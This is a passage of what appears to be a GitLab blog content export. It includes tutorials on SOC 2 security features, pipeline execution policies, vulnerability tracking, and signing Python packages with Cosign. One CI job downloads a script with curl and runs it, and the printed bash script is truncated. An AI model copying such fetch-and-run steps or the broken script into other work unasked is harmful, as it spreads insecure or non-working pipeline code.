following information on a vulnerability:\n\n* description  \n* status  \n* severity  \n* evidence  \n* identifiers  \n* URL (if applicable)  \n* request/response (if applicable)  \n* reproduction assets (if applicable)  \n* training (if applicable)  \n* code flow (if using advanced SAST)\n\n![MR view of introduced vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\u003Ccenter>\u003Ci>MR view of introduced vulnerability\u003C/i>\u003C/center>\u003Cbr>\n\nDevelopers can use this data to remediate vulnerabilities without slowing down security team workflows. Developers can dismiss a vulnerability with reasoning, speeding up the review process, or they can create a confidential issue to track the vulnerability.\n\nIf the code in an MR is merged to the default (usually production-level) branch, then the vulnerability report is populated with the security scanner results. These results can be used by security teams to manage and triage the vulnerabilities found in production.\n\n![Vulnerability report with Batch Status setting](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report with Batch Status setting\u003C/i>\u003C/center>\u003Cbr>\n\nWhen clicking on a vulnerability description within the vulnerability report, you are provided with the vulnerability page, which contains the same vulnerability data as the MR, allowing for a single source of truth when assessing impact and performing remediation. From the vulnerability page, [GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI features can be used to explain the vulnerability and also create an MR to remediate, speeding up resolution time.\n\n> ##### Learn more about the security scanners included with GitLab and how to manage vulnerabilities in our [application security documentation](https://docs.gitlab.com/ee/user/application_security/).\n\n### Software bill of materials\n\nGitLab can create a detailed list of everything your software uses – kind of like an ingredients list for your code. This list, called a software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)), shows you all the external code your project depends on, including the parts you directly use and their own dependencies. For each item, you can see which version you're using, what license it has, and whether it has any known security problems. This helps you keep track of what's in your software and spot potential risks.\n\n![Group-level dependency list (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\u003Ccenter>\u003Ci>Group-level dependency list (SBOM)\u003C/i>\u003C/center>\n\n> ##### Learn how to access and use the dependency list with our [dependency list documentation](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n### System auditing and security posture review\n\nGitLab keeps track of everything that happens in your system such as who made changes, what they changed, and when they did it. Think of it like a security camera for your code. This record helps you:\n\n* spot any suspicious activity  \n* show regulators you're following the rules  \n* figure out what happened if something goes wrong  \n* see how people are using GitLab\n\nAll of this information is stored in one place, making it easy to review and investigate when needed. For example, you can use audit events to track:\n\n* who changed the permission level of a particular user for a GitLab project, and when  \n* who added a new user or removed a user, and when\n\n![Project-level audit events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\u003Ccenter>\u003Ci>Project-level audit events\u003C/i>\u003C/center>\n\n> ##### Learn more about audit events, see the [audit events documentation](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n## Compliance and security posture oversight\n\nGitLab's Security Dashboard works like a control room that shows you all your security risks in one place. Instead of checking different security tools separately, you can see all their findings together on one screen. This makes it easy to spot and fix security problems across all your projects.\n\n![Group-level Security Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\u003Ccenter>\u003Ci>Group-level security dashboard\u003C/i>\u003C/center>\n\n> ##### Learn more about security dashboards with our [security dashboard documentation](https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n## Establish procedures for identifying and mitigating risks\n\nVulnerabilities go through a specific lifecycle. For example, a part of the procedure can be to require approval for any vulnerable code to be merged to protected branches using security policies. Then the procedure can state that vulnerable code detected in production must be prioritized, assessed, remediated, and then validated: \n\n* The criteria for prioritization can be by the severity of the vulnerability provided by GitLab scanners.  \n* The assessment can be done using exploitation details provided by the AI: Vulnerability Explanation.  \n* Once the vulnerability is remediated, then it can be validated using built-in GitLab regression tests and scanners.\n\nWhile every organization's needs are different, leveraging GitLab as a platform, risks can be quickly identified and addressed with reduced risk when compared to using a sprawl of disparate tools.\n\n### Best practices for SOC 2 compliance\n\n* Establish a strong security culture: Foster a culture of security awareness and accountability throughout your organization.  \n* Document everything: Maintain thorough documentation of policies, procedures, and controls.  \n* Automate where possible: Use automation tools to streamline compliance processes and reduce errors.  \n* Communicate effectively: Keep stakeholders informed about your compliance efforts.  \n* Seek expert guidance: Consider partnering with a qualified consultant to assist with your SOC 2 journey.\n\nAchieving SOC 2 compliance is a significant undertaking, but the benefits are undeniable. By demonstrating your commitment to application security and operational excellence, you can build trust with customers, enhance your reputation, and gain a competitive edge in the marketplace.\n\n## Read more\n\nTo learn more about GitLab and how we can help achieve SOCv2 compliance while enhancing your security posture, check out the following resources:\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)  \n* [GitLab DevSecOps Tutorial Project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[696,14,479,715,695],{"slug":1174,"featured":92,"template":677},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:en-us:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","en-us/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":1180,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1181,"content":1187,"config":1192,"_id":1194,"_type":16,"title":1195,"_source":17,"_file":1196,"_stem":1197,"_extension":20},"/en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies",{"title":1182,"description":1183,"ogTitle":1182,"ogDescription":1183,"noIndex":6,"ogImage":1184,"ogUrl":1185,"ogSiteName":767,"ogType":768,"canonicalUrls":1185,"schema":1186},"Tutorial: Advanced use case for GitLab Pipeline Execution Policies","Learn how new GitLab Ultimate functionality can enforce a standardized pipeline across an organization for improved compliance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098083/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750098083312.jpg","https://about.gitlab.com/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Advanced use case for GitLab Pipeline Execution Policies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dan Rabinovitz\"}],\n        \"datePublished\": \"2025-01-22\",\n      }",{"title":1182,"description":1183,"authors":1188,"heroImage":1184,"date":1170,"body":1190,"category":14,"tags":1191},[1189],"Dan Rabinovitz","[Pipeline execution policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html) are a newer addition to the GitLab DevSecOps platform and a powerful mechanism to enforce CI/CD jobs across applicable projects. They enable platform engineering or security teams to inject jobs into developers’ YAML pipeline definition files, guaranteeing that certain CI/CD jobs will execute no matter what a developer defines in their \\`.gitlab-ci.yml\\` file. \n\nThis article will explain how to utilize pipeline execution policies to create guardrails around the stages or jobs that a developer can use in their pipeline definition. In regulated environments, this may be necessary to ensure developers adhere to a standard set of jobs or stages in their GitLab pipeline. Any job or stage that a developer adds to their pipeline that does not adhere to a corporate standard will cause the pipeline to fail. \n\nOne example use case for pipeline execution policies is ensuring a security scanner job runs. Let’s say an organization has made an investment in a third-party security scanner and they have a requirement that the external scan runs before any merge is made into the main branch. Without a pipeline execution policy, a developer could easily skip this step by not including the required code in their `.gitlab-ci.yml` file.  With a pipeline execution policy in place, a security team can guarantee the external security scanning job executes regardless of how a developer defines their pipeline.\n\nTo use pipeline execution policies to enforce these restrictions requires two parts: a shell script to make calls to the GitLab API and the policy itself. This tutorial uses a bash script; if your runner uses a different scripting language, it is easy to adapt to other languages.\n\nHere is the example shell script I will use for this exercise:\n\n``` \n#!/bin/bash\n\necho \"Checking pipeline stages and jobs...\"\n\n# Pull the group access token from the environment variable\nGROUP_ACCESS_TOKEN=\"$PIPELINE_TOKEN\"\n\necho \"PROJECT_ID: $PROJECT_ID\"\necho \"PIPELINE_ID: $PIPELINE_ID\"\n\nif [ -z \"$GROUP_ACCESS_TOKEN\" ]; then  \n  echo \"GROUP_ACCESS_TOKEN (MR_GENERATOR) is not set\"\n  exit 1\nfi\n\nif [ -z \"$PROJECT_ID\" ]; then\n  echo \"PROJECT_ID is not set\"\n  exit 1\nfi\n\nif [ -z \"$PIPELINE_ID\" ]; then\n  echo \"PIPELINE_ID is not set\"\n  exit 1\nfi\n\n# Use the group access token for the API request\napi_url=\"$GITLAB_API_URL/projects/$PROJECT_ID/pipelines/$PIPELINE_ID/jobs\"\necho \"API URL: $api_url\"\n\n# Fetch pipeline jobs using the group access token\njobs=$(curl --silent --header \"PRIVATE-TOKEN: $GROUP_ACCESS_TOKEN\" \"$api_url\")\necho \"Fetched Jobs: $jobs\"\n\nif [[ \"$jobs\" == *\"404 Project Not Found\"* ]]; then\n  echo \"Failed to authenticate with GitLab API: Project not found\"\n  exit 1\nfi\n\n# Extract stages and jobs\npipeline_stages=$(echo \"$jobs\" | grep -o '\"stage\":\"[^\"]*\"' | cut -d '\"' -f 4 | sort | uniq | tr '\\n' ',')\npipeline_jobs=$(echo \"$jobs\" | grep -o '\"name\":\"[^\"]*\"' | cut -d '\"' -f 4 | sort | uniq | tr '\\n' ',')\n\necho \"Pipeline Stages: $pipeline_stages\"  \necho \"Pipeline Jobs: $pipeline_jobs\"\n\n# Check if pipeline stages are approved\nfor stage in $(echo $pipeline_stages | tr ',' ' '); do \n  echo \"Checking stage: $stage\"\n  if ! [[ \",$APPROVED_STAGES,\" =~ \",$stage,\" ]]; then\n    echo \"Stage $stage is not approved.\"\n    exit 1\n  fi\ndone\n\n# Check if pipeline jobs are approved \nfor job in $(echo $pipeline_jobs | tr ',' ' '); do\n  echo \"Checking job: $job\"\n  if ! [[ \",$APPROVED_JOBS,\" =~ \",$job,\" ]]; then\n    echo \"Job $job is not approve\n```\n\nLet’s break this down a bit. \n\nThe first few lines of this code perform some sanity checks, ensuring that a pipeline ID, project ID, and group access token exist.\n\n* A GitLab pipeline ID is a unique numerical identifier that GitLab automatically assigns to each pipeline run.\n* A GitLab project ID is a unique numerical identifier assigned to each project in GitLab.\n* A GitLab group access token is a token that authenticates and authorizes access to resources at the group level in GitLab. This is in contrast to a GitLab personal access token (PAT), which is unique to each user.  \n\nThe bulk of the work comes from the [GitLab Projects API](https://docs.gitlab.com/ee/api/projects.html) call where the script requests the jobs for the specified pipeline. Once you have job information for the currently running pipeline, you can use a simple grep command to parse out stage and job names, and store them in variables for comparison. The last portion of the script checks to see if pipeline stages and jobs are on the approved list. Where do these parameters come from?\n\nThis is where [GitLab Pipeline Execution Policies](https://docs.gitlab.com/ee/user/application_security/policies/pipeline_execution_policies.html) come into play. They enable injection of YAML code into a pipeline. How can we leverage injected YAML to execute this shell script?  Here’s a code snippet showing how to do this.\n\n```\n## With this config, the goal is to create a pre-check job that evaluates the pipeline and fails the job/pipeline if any checks do not pass\n\nvariables:\n  GITLAB_API_URL: \"https://gitlab.com/api/v4\"\n  PROJECT_ID: $CI_PROJECT_ID\n  PIPELINE_ID: $CI_PIPELINE_ID\n  APPROVED_STAGES: \".pipeline-policy-pre,pre_check,build,test,deploy\"\n  APPROVED_JOBS: \"pre_check,build_job,test_job,deploy_job\"\n\npre_check:\n  stage: .pipeline-policy-pre\n  script:\n    - curl -H \"PRIVATE-TOKEN:${REPO_ACCESS_TOKEN}\" --url \"https://\u003Cgitlab_URL>/api/v4/projects/\u003Cproject_id>/repository/files/check_settings.sh/raw\" -o pre-check.sh\n    - ls -l\n    - chmod +x pre-check.sh\n    - DEBUG_MODE=false ./pre-check.sh  # Set DEBUG_MODE to true or false\n  allow_failure: true\n```\n\nIn this YAML snippet, we set a few variables used in the shell script. Most importantly, this is where approved stages and approved jobs are defined. After the `variables` section, we then add a new job to the `.pipeline-policy-pre` stage. This is a reserved stage for pipeline execution policies and is guaranteed to execute before any stages defined in a `.gitlab-ci.yml` file.  There is a corresponding `.pipeline-policy-post` stage as well, though we will not be using it in this scenario.  \n\nThe script portion of the job does the actual work. Here, we leverage a curl command to execute the shell script defined above. This example includes authentication if it’s located in a private repository. However, if it’s publicly accessible, you can forgo this authentication. The last line controls whether or not the pipeline will fail. In this example, the pipeline will continue. This is useful for testing – in practice, you would likely set `allow_failure: false` to cause the pipeline to fail. This is desired as the goal of this exercise is to not allow pipelines to continue execution if a developer adds a rogue job or stage.\n\nTo utilize this YAML, save it to a `.yml` file in a repository of your choice. We’ll see how to connect it to a policy shortly.\n\nNow, we have our script and our YAML to inject into a developer’s pipeline. Next, let’s see how to put this together using a pipeline execution policy.\n\nLike creating other policies in GitLab, start by creating a new Pipeline Execution Policy by navigating to **Secure > Policies** in the left hand navigation menu. Then, choose **New Policy** at the top right, and select **Pipeline Execution Policy** from the policy creation options.  \n\nFor this exercise, you can leave the **Policy Scope** set to the default options. In the **Actions** section, be sure to choose **Inject** and select the project and file where you’ve saved your YAML code snippet. Click on **Update via Merge Request** at the very bottom to create an MR that you can then merge into your project.\n\nIf this is your first security policy, clicking on **Merge** in the MR will create a [Security Policy Project](https://docs.gitlab.com/ee/user/application_security/policies/vulnerability_management_policy.html), which is a project to store all security policies. When implementing any type of security policy in a production environment, [access to this project should be restricted](https://docs.gitlab.com/ee/user/project/members/) so developers cannot make changes to security policies. In fact, you may also want to consider storing YAML code that’s used by pipeline execution policies in this project to restrict access as well, though this is not a requirement.  \nExecuting a pipeline where this pipeline execution policy is enabled should result in the following output when you attempt to add an invalid stage to the project `.gitlab-ci.yml` file.\n\n![Output of attempting an invalid stage to project gitlab-ci.yml file](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098102/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098102394.png)\n\nWhile this use case is very focused on one aspect of security and compliance in your organization, this opens the door to other use cases. For example, you may want to make group-level variables accessible to every project within a group; this is possible with pipeline execution policies. Or, you may want to create a golden pipeline and have developers add to it. The possibilities are endless. GitLab customers are finding new and exciting ways to use this new functionality every day.\n\nIf you’re a GitLab Ultimate customer, try this out today and let us know how you’re using pipeline execution policies. Not a GitLab Ultimate customer? [Sign up for a free 60-day trial](https://about.gitlab.com/free-trial/devsecops/) to get started.\n\n## Read more\n- [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n- [Integrate external security scanners into your DevSecOps workflow](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/)\n- [Why GitLab is deprecating compliance pipelines in favor of security policies](https://about.gitlab.com/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies/)\n",[14,696,184,479,110,715],{"slug":1193,"featured":6,"template":677},"tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies","content:en-us:blog:tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies.yml","Tutorial Advanced Use Case For Gitlab Pipeline Execution Policies","en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies.yml","en-us/blog/tutorial-advanced-use-case-for-gitlab-pipeline-execution-policies",{"_path":1199,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1200,"content":1206,"config":1213,"_id":1215,"_type":16,"title":1216,"_source":17,"_file":1217,"_stem":1218,"_extension":20},"/en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"title":1201,"description":1202,"ogTitle":1201,"ogDescription":1202,"noIndex":6,"ogImage":1203,"ogUrl":1204,"ogSiteName":767,"ogType":768,"canonicalUrls":1204,"schema":1205},"Introducing GitLab Advanced Vulnerability Tracking","Learn how this security feature improves the efficiency of vulnerability management by reducing futile auditing time (includes data from a new study).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664844/Blog/Hero%20Images/AdobeStock_941867776.jpg","https://about.gitlab.com/blog/introducing-gitlab-advanced-vulnerability-tracking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Advanced Vulnerability Tracking\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2025-01-21\",\n      }",{"title":1201,"description":1202,"authors":1207,"heroImage":1203,"date":1209,"body":1210,"category":14,"tags":1211},[1208],"Julian Thome","2025-01-21","DevSecOps streamlines software development by allowing teams to ship features quickly and providing short feedback cycles for customers. These short feedback cycles can be used to monitor the impact of a feature from the time it is shipped and to inform developers and product managers about the success or failure of a given deployment.\n\nGitLab, as an agnostic DevSecOps platform, can act as an integration point for different [CI/CD](https://about.gitlab.com/topics/ci-cd/) tools that often contribute to user-facing functionality. For example, the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which displays all detected vulnerabilities, is visible as a single functionality, but the data in the report may come from a number of different tools in various pipelines.\n\nIn a heterogeneous Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) setup we find two potential sources of vulnerability deduplication:\n1. Code volatility refers to the reintroduction of vulnerabilities in a constantly changing code base.\n2. Double reporting refers to duplication introduced by multiple tools that are reporting the same vulnerability. \n\nGitLab addresses these two sources of duplication by means of the [Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) feature, which identifies and deduplicates vulnerabilities in a constantly changing code base.\n\n[Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) leverages contextual information provided by generated syntax-trees to scope vulnerabilities and generates location fingerprints for vulnerabilities that are less fragile across code changes in comparison to other tracking methods.\n\nIn a recent study, we demonstrated that our vulnerability tracking approach was 30% more effective than traditional, line-based vulnerability tracking where `\u003Cfile, line number>` are used to fingerprint vulnerabilities. This means that advanced vulnerability tracking reduces the manual effort of auditing vulnerabilities by 30%. In addition, our study suggested that the positive effect of our vulnerability tracking method increases over time.\n\nThe preprint of our study \"[A scalable, effective and simple Vulnerability Tracking approach for heterogeneous SAST setups based on Scope+Offset](https://about.gitlab.com/resources/downloads/icse25-preprint.pdf)\" will be presented at the [47th International Conference on Software Engineering (Software Engineering in Practice Track) 2025](https://conf.researchr.org/home/icse-2025).\n\n*[Lucas Charles](https://gitlab.com/theoretick), [Jason Leasure](https://gitlab.com/jleasure), and [Hua Yan](https://gitlab.com/hyan3) contributed to this article and study.*",[14,1212,715,479],"security research",{"slug":1214,"featured":6,"template":677},"introducing-gitlab-advanced-vulnerability-tracking","content:en-us:blog:introducing-gitlab-advanced-vulnerability-tracking.yml","Introducing Gitlab Advanced Vulnerability Tracking","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking.yml","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"_path":1220,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1221,"content":1226,"config":1231,"_id":1233,"_type":16,"title":1234,"_source":17,"_file":1235,"_stem":1236,"_extension":20},"/en-us/blog/secure-and-publish-python-packages-a-guide-to-ci-integration",{"title":1222,"description":1223,"ogTitle":1222,"ogDescription":1223,"noIndex":6,"ogImage":949,"ogUrl":1224,"ogSiteName":767,"ogType":768,"canonicalUrls":1224,"schema":1225},"Secure and publish Python packages: A guide to CI integration","Learn how to implement a secure CI/CD pipeline across five stages with the GitLab DevSecOps platform.","https://about.gitlab.com/blog/secure-and-publish-python-packages-a-guide-to-ci-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure and publish Python packages: A guide to CI integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-01-21\",\n      }",{"title":1222,"description":1223,"authors":1227,"heroImage":949,"date":1209,"body":1228,"category":14,"tags":1229},[815],"Supply chain security is a critical concern in software development. Organizations need to verify the authenticity and integrity of their software packages. This guide will show you how to implement a secure CI/CD pipeline for Python packages using GitLab CI, incorporating package signing and attestation using Sigstore's Cosign.\n\nYou'll learn:\n\n- [Why sign and attest your Python packages?](#why-sign-and-attest-your-python-packages%3F)\n- [Pipeline overview](#pipeline-overview)\n- [Complete pipeline implementation: Setting up the environment](#complete-pipeline-implementation-setting-up-the-environment)\n   * [Environment configuration](#environment-configuration)\n   * [Configuration breakdown](#configuration-breakdown)\n-  The 6 stages\n\n    1. [Building](#building-crafting-the-package)\n    2. [Signing](#signing-the-digital-notarization)\n    3. [Verification](#verification-the-security-checkpoint)\n    4. [Publishing](#publishing-the-controlled-release)\n    5. [Publishing signatures](#publishing-signatures-making-verification-possible)\n    6. [Consumer verification](#consumer-verification-testing-the-user-experience)\n\n## Why sign and attest your Python packages?\n\nHere are four reasons to sign and attest your Python packages:\n\n* **Supply chain security:** Package signing ensures that the code hasn't been tampered with between build and deployment, protecting against supply chain attacks.\n* **Compliance requirements:** Many organizations, especially in regulated industries, require cryptographic signatures and provenance information for all deployed software.\n* **Traceability:** Attestations provide a verifiable record of build conditions, including who built the package and under what circumstances.\n* **Trust verification:** Consumers of your package can cryptographically verify its authenticity before installation.\n\n## Pipeline overview\n\nEnsuring your code's integrity and authenticity is necessary. Imagine a pipeline that doesn't just compile your code but creates a cryptographically verifiable narrative of how, when, and by whom your package was created. Each stage acts as a guardian, checking and documenting the package's provenance.\n\nHere are six stages of a GitLab pipeline that ensure your package is secure and trustworthy:\n\n* Build: Creates a clean, standard package that can be easily shared and installed.\n* Signing: Adds a digital signature that proves the package hasn't been tampered with since it was created.\n* Verification: Double-checks that the signature is valid and the package meets all our security requirements.\n* Publishing: Uploads the verified package to GitLab's package registry, making it available for others to use.\n* Publishing Signatures: Makes signatures available for verification.\n* Consumer Verification: Simulates how end users can verify package authenticity.\n\n## Complete pipeline implementation: Setting up the environment\n\nBefore we build our package, we need to set up a consistent and secure build environment. This configuration ensures every package is created with the same tools, settings, and security checks.\n\n### Environment configuration\n\nOur pipeline requires specific tools and settings to work correctly.\n\nPrimary configurations:\n\n* Python 3.10 for consistent builds\n* Cosign 2.2.3 for package signing\n* GitLab package registry integration\n* Hardcoded package version for reproducibility\n\n**Note about versioning:** We've chosen to use a hardcoded version (`\"1.0.0\"`) in this example rather than deriving it from git tags or commits. This approach ensures complete reproducibility and makes the pipeline behavior more predictable. In a production environment, you might want to use semantic versioning based on git tags or another versioning strategy that fits your release process.\n\nTool requirements:\n\n* Basic utilities: `curl`, `wget`\n* Cosign for cryptographic signing\n* Python packaging tools: `build`, `twine`, `setuptools`, `wheel`\n\n### Configuration breakdown\n\n```yaml\nvariables:\n  PYTHON_VERSION: '3.10'\n  PACKAGE_NAME: ${CI_PROJECT_NAME}\n  PACKAGE_VERSION: \"1.0.0\"\n  FULCIO_URL: 'https://fulcio.sigstore.dev'\n  REKOR_URL: 'https://rekor.sigstore.dev'\n  CERTIFICATE_IDENTITY: 'https://gitlab.com/${CI_PROJECT_PATH}//.gitlab-ci.yml@refs/heads/${CI_DEFAULT_BRANCH}'\n  CERTIFICATE_OIDC_ISSUER: 'https://gitlab.com'\n  PIP_CACHE_DIR: \"$CI_PROJECT_DIR/.pip-cache\"\n  COSIGN_YES: \"true\"\n  GENERIC_PACKAGE_BASE_URL: \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/${PACKAGE_NAME}/${PACKAGE_VERSION}\"\n```\n\nWe use caching to speed up subsequent builds:\n\n```yaml\ncache:\n  paths:\n    - ${PIP_CACHE_DIR}\n```\n\n## Building: Crafting the package\n\nEvery software journey begins with creation. In our pipeline, the build stage is where raw code transforms into a distributable package, ready to travel across different Python environments.\n\nThe build process creates two standardized formats:\n\n* a wheel package (.whl) for quick, efficient installation\n* a source distribution (.tar.gz) that carries the complete code\n\nHere's the build stage implementation:\n\n```yaml\nbuild:\n  extends: .python-job\n  stage: build\n  script:\n    - git init\n    - git config --global init.defaultBranch main\n    - git config --global user.email \"ci@example.com\"\n    - git config --global user.name \"CI\"\n    - git add .\n    - git commit -m \"Initial commit\"\n    - export NORMALIZED_NAME=$(echo \"${CI_PROJECT_NAME}\" | tr '-' '_')\n    - sed -i \"s/name = \\\".*\\\"/name = \\\"${NORMALIZED_NAME}\\\"/\" pyproject.toml\n    - sed -i \"s|\\\"Homepage\\\" = \\\".*\\\"|\\\"Homepage\\\" = \\\"https://gitlab.com/${CI_PROJECT_PATH}\\\"|\" pyproject.toml\n    - python -m build\n  artifacts:\n    paths:\n      - dist/\n      - pyproject.toml\n```\n\nLet's break down what this build stage does:\n\n1. Initializes a Git repository (`git init`) and configures it with basic settings\n2. Normalizes the package name by converting hyphens to underscores, which is required for Python packaging\n3. Updates the package metadata in `pyproject.toml` to match our project settings\n4. Builds both wheel and source distribution packages using `python -m build`\n5. Preserves the built packages and configuration as artifacts for subsequent stages\n\n## Signing: The digital notarization\n\nIf attestation is the package's biography, signing is its cryptographic seal of authenticity. This is where we transform our package from a mere collection of files into a verified, tamper-evident artifact.\n\nThe signing stage uses Cosign to apply a digital signature as an unbreakable seal. This isn't just a stamp — it's a complex cryptographic handshake that proves the package's integrity and origin.\n\n```yaml\nsign:\n  extends: .python+cosign-job\n  stage: sign\n  id_tokens:\n    SIGSTORE_ID_TOKEN:\n      aud: sigstore\n  script:\n    - |\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          cosign sign-blob --yes \\\n            --fulcio-url=${FULCIO_URL} \\\n            --rekor-url=${REKOR_URL} \\\n            --oidc-issuer $CI_SERVER_URL \\\n            --identity-token $SIGSTORE_ID_TOKEN \\\n            --output-signature \"dist/${filename}.sig\" \\\n            --output-certificate \"dist/${filename}.crt\" \\\n            \"$file\"\n        fi\n      done\n  artifacts:\n    paths:\n      - dist/\n```\n\nThis signing stage performs several crucial operations:\n\n1. Obtains an OIDC token from GitLab for authentication with Sigstore services\n2. Processes each built package (both wheel and source distribution)\n3. Uses Cosign to create a cryptographic signature (`.sig`) for each package\n4. Generates a certificate (`.crt`) that proves the signature's authenticity\n5. Stores both signatures and certificates alongside the packages as artifacts\n\n## Verification: The security checkpoint\n\nVerification is our final quality control gate. It's not just a check — it's a security interrogation where every aspect of the package is scrutinized.\n\n```yaml\nverify:\n  extends: .python+cosign-job\n  stage: verify\n  script:\n    - |\n      failed=0\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          if ! cosign verify-blob \\\n            --signature \"dist/${filename}.sig\" \\\n            --certificate \"dist/${filename}.crt\" \\\n            --certificate-identity \"${CERTIFICATE_IDENTITY}\" \\\n            --certificate-oidc-issuer \"${CERTIFICATE_OIDC_ISSUER}\" \\\n            \"$file\"; then\n            failed=1\n          fi\n        fi\n      done\n      if [ $failed -eq 1 ]; then\n        exit 1\n      fi\n```\n\nThe verification stage implements several security checks:\n\n1. Examines each package file in the `dist` directory\n2. Uses Cosign to verify the signature matches the package content\n3. Confirms the certificate's identity matches our expected GitLab pipeline identity\n4. Validates our trusted OIDC provider issued the certificate\n5. Fails the entire pipeline if any verification check fails, ensuring only verified packages proceed\n\n## Publishing: The controlled release\n\nPublishing is where we make our verified packages available through GitLab's package registry. It's a carefully choreographed release that ensures only verified, authenticated packages reach their destination.\n\n```yaml\npublish:\n  extends: .python-job\n  stage: publish\n  script:\n    - |\n      cat \u003C\u003C EOF > ~/.pypirc\n      [distutils]\n      index-servers = gitlab\n      [gitlab]\n      repository = ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi\n      username = gitlab-ci-token\n      password = ${CI_JOB_TOKEN}\n      EOF\n      TWINE_PASSWORD=${CI_JOB_TOKEN} TWINE_USERNAME=gitlab-ci-token \\\n        twine upload --repository-url ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/pypi \\\n        dist/*.whl dist/*.tar.gz\n```\n\nThe publishing stage handles several important tasks:\n\n1. Creates a `.pypirc` configuration file with GitLab package registry credentials\n2. Uses the GitLab CI job token for secure authentication\n3. Uploads both wheel and source distribution packages to the GitLab PyPI registry\n4. Makes the packages available for installation via pip\n\n## Publishing signatures: Making verification possible\n\nAfter publishing the packages, we must make their signatures and certificates available for verification. We store these in GitLab's generic package registry, making them easily accessible to users who want to verify package authenticity.\n\n```yaml\npublish_signatures:\n  extends: .python+cosign-job\n  stage: publish_signatures\n  script:\n    - |\n      for file in dist/*.whl dist/*.tar.gz; do\n        if [ -f \"$file\" ]; then\n          filename=$(basename \"$file\")\n          curl --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --fail \\\n               --upload-file \"dist/${filename}.sig\" \\\n               \"${GENERIC_PACKAGE_BASE_URL}/${filename}.sig\"\n\n          curl --header \"JOB-TOKEN: ${CI_JOB_TOKEN}\" \\\n               --fail \\\n               --upload-file \"dist/${filename}.crt\" \\\n               \"${GENERIC_PACKAGE_BASE_URL}/${filename}.crt\"\n        fi\n      done\n```\n\nThe signature publishing stage performs these key operations:\n\n1. Processes each built package to find its corresponding signature files\n2. Uses the GitLab API to upload the signature (`.sig`) file to the generic package registry\n3. Uploads the corresponding certificate (`.crt`) file\n4. Makes these verification artifacts available for downstream package consumers\n5. Uses the same version and package name to maintain the connection between packages and signatures\n\n## Consumer verification: Testing the user experience\n\nThe final stage 